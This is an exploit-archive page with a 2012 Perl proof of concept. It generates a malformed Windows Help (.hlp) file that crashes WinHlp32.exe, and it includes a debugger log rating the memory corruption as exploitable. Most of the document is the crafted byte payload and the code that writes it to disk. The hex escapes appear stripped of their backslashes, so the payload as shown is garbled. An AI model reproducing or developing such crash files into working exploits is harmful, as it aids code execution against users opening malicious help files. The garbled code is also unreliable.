[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft Windows Help program (WinHlp32.exe) Crash PoC
# Published : 2012-10-28
# Author :
# Previous Title : QQPlayer 3.7.892 m2p quartz.dll Heap Pointer Overwrite PoC
# Next Title : VLC Player <= 2.0.3 ReadAV Crash PoC
#!/usr/bin/perl
#Title : Microsoft Windows Help program(WinHlp32.exe)memory corruption
#Version : 5.1.2600
#Date : 2012-10-24
#Vendor : http://www.microsoft.com
#Crash : http://img69.imageshack.us/img69/7652/helpview.jpg
#Impact : Med/High
#Contact : coolkaveh [at] rocketmail.com
#Twitter : @coolkaveh
#tested : XP SP3 ENG
#Author : coolkaveh
#######################################################################################################
#Info :
#----
#The HLP file is Microsoft Help file documentation for the Windows operating system or Windows programs.
#The file contains documentation for the Windows operating system or Windows programs.
#----
#Bug :
#----
#Memory corruption during the handling of the hlp files by Microsoft Windows default
#help viewer (WinHlp32.exe)
#Successful exploits can allow attackers to execute arbitrary code
#######################################################################################################
#(f3c.e64): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=00000000
#ebx=000a3d08
#ecx=3fffeb6b
#edx=00000003
#esi=000a8fa8
#edi=000a9000
#eip=77c47380
#esp=0007f528
#ebp=0007f530 iopl=0 nv up ei pl nz ac po nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
#*** ERROR: Symbol file could not be found. Defaulted to export
#symbols for C:WINDOWSsystem32msvcrt.dll -
#msvcrt!memmove+0xd0:
#77c47380 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
#1:001>!exploitable -v
#First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
#Exception Sub-Type: Write Access Violation
#Description: User Mode Write AV
#Short Description: WriteAV
#Exploitability Classification: EXPLOITABLE
#Recommended Bug Title: Exploitable - User Mode Write AV starting at
#msvcrt!memmove+0x00000000000000d0 (Hash=0x613a0f0c.0x41551815)
#User mode write access violations that are not near NULL are exploitable.
#######################################################################################################
my $poc =
"x3Fx5Fx03x00x95x03x00x00xFFxFFxFFxFFxB8x11x00x00x85x03x00x00x7Cx03x00x00x00".
"x6Cx03x21x00x01x00xB6x50xAFx36x00x00x01x00x0Dx00x57x69x6Ex64x6Fx77x73x20x32".
"x30x30x30x00x03x00x04x00x00x00x00x00x02x00x25x00x57x65x64x6Ex65x73x64x61x79".
"x2Cx20x4Ax61x6Ex75x61x72x79x20x32x37x2Cx20x31x39x39x39x20x30x39x3Ax34x35x3A".
"x32x36x00x04x00x05x00x43x53x28x29x00x04x00x05x00x43x53x28x29x00x06x00x5Ax00".
"x7Fx0Fx00x00x00x00x00x00x00x00x00x00x70x72x6Fx63x34x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x8Dx02x66".
"x00x68x01x58x02x04x00xFFxFFxE2x00xC0xC0xC0x00x06x00x5Ax00x7Fx0Fx00x00x00x00".
"x00x00x00x00x00x00x74x72x6Fx75x62x6Cx65x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x8Dx02x66x00x68x01x58x02x04".
"x00xFFxFFxE2x00xC0xC0xC0x00x06x00x5Ax00x7Fx1Bx00x00x00x00x00x00x00x00x00x00".
"x62x69x67x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x12x00x0Ax00x58x02xB3x01x04x00xFFxFFxE2x00xC0".
"xC0xC0x00x06x00x5Ax00x7Fx1Bx00x00x00x00x00x00x00x00x00x00x6Dx6Fx72x65x69x6E".
"x66x6Fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x39x01x89x00xD2x00x1Fx01x04x00xFFxFFxE2x00xC0xC0xC0x00x06x00x5A".
"x00x07x0Bx00x00x00x00x00x00x00x00x00x00x65x72x72x6Fx72x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x04x00xFFxFFxE2x00xC0xC0xC0x00x06x00x5Ax00x7Fx1Bx00x00x00".
"x00x00x00x00x00x00x00x6Dx65x64x69x75x6Dx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x73x00x12x00x5Ex01xA9x01".
"x04x00xFFxFFxE2x00xC0xC0xC0x00x06x00x5Ax00x7Fx1Bx00x00x00x00x00x00x00x00x00".
"x00x62x69x67x62x72x6Fx77x73x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x12x00x0Ax00x58x02xB3x01x04x00xFFxFFxE2x00".
"xC0xC0xC0x00x06x00x5Ax00x7Fx1Bx00x00x00x00x00x00x00x00x00x00x6Dx61x69x6Ex00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x73x00x12x00x5Ex01xA9x01x04x00xFFxFFxE2x00xC0xC0xC0x00x09x00".
"x0Ax00x00x00x00x00x00x00x00x00x09x04xEBx00x0Dx00x6Ex6Fx63x6Fx6Ex74x6Ex74x2E".
"x63x6Ex74x00x0Bx00x03x00x00x00x00x0Ex00x02x00x3Ax00x2Fx04x00x00x26x04x00x00".
"x04x3Bx29x02x04x00x04x7Ax34x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00xFFxFFx01x00x01x00x0Bx00x00x00x82x03x0Bx00xFFxFFxFFxFFx7Cx43x46".
"x30x00x3Bx11x00x00x7Cx43x46x31x00x54x11x00x00x7Cx43x46x32x00x6Dx11x00x00x7C".
"x43x46x34x00x86x11x00x00x7Cx43x46x35x00x9Fx11x00x00x7Cx43x4Fx4Ex54x45x58x54".
"x00x0Cx11x00x00x7Cx43x54x58x4Fx4Dx41x50x00xD2x08x00x00x7Cx46x4Fx4Ex54x00x76".
"x08x00x00x7Cx53x59x53x54x45x4Dx00x10x00x00x00x7Cx54x4Fx50x49x43x00xC4x07x00".
"x00x7Cx54x54x4Cx42x54x52x45x45x00xDDx08x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00xB2x00x00x00xA9x00x00x00x00xFFxFFxFF".
"xFFx0Cx00x00x00x00x00x00x00x31x00x00x00x00x00x00x00xFFxFFxFFxFFx3Dx00x00x00".
"x31x00x00x00x02x6Cx00x00x00xFFxFFxFFxFFxFFxFFxFFxFFx00x00x00x00xFFxFFxFFxFF".
"x3Dx00x00x00x78x00x00x00x3Bx00x00x00x14x00x00x00x0Cx00x00x00x78x00x00x00x27".
"x45x00x00x20x1Ex80x28x00x80x00x00x3Ax00x90x52x98x9Ax80x00x00x82xFFx00x50x6C".
"x61x63x65x68x6Fx6Cx64x65x72x20x74x6Fx70x69x63x00x00x31x00x00x00x00x00x00x00".
"x3Dx00x00x00xFFxFFxFFxFFx31x00x00x00x02x18x00x00x00xFFxFFxFFxFFxFFxFFxFFxFF".
"x01x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx5Cx00x00x00x53x00x00x00x00".
"x02x00x01x00x08x00x48x00x54x69x6Dx65x73x20x4Ex65x77x20x52x6Fx6Dx61x6Ex00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4Dx53x20x53x61x6Ex73x20x53x65".
"x72x69x66x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x10x03".
"x01x00x01x01x00x01x01x00x0Bx00x00x00x02x00x00x00x00x00x00x2Fx08x00x00x26x08".
"x00x00x00x3Bx29x02x00x00x08x4Cx7Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00xFFxFFx01x00x01x00x02x00x00x00xEEx07x02x00xFFxFFxFFxFFx00".
"x00x00x00x00x14x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x2Fx00x00x00x26x00x00x00x00x3Bx29".
"x02x00x00x08x4Cx34x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFxFFxFFxFF".
"xFFxFFxFFx00x00x00x00x00x00x00x00x19x00x00x00x10x00x00x00x00x43x53x28x29x3A".
"x43x57x28x60x6Dx61x69x6Ex27x29x00x19x00x00x00x10x00x00x00x00x43x53x28x29x3A".
"x43x57x28x60x6Dx61x69x6Ex27x29x00x19x00x00x00x10x00x00x00x00x43x53x28x29x3A".
"x43x57x28x60x6Dx61x69x6Ex27x29x00x19x00x00x00x10x00x00x00x00x43x53x28x29x3A".
"x43x57x28x60x6Dx61x69x6Ex27x29x00x19x00x00x00x10x00x00x00x00x43x53x28x29x3A".
"x43x57x28x60x6Dx61x69x6Ex27x29x00".
open(C, ">:raw", "poc.hlp");
print C $poc;
close(C);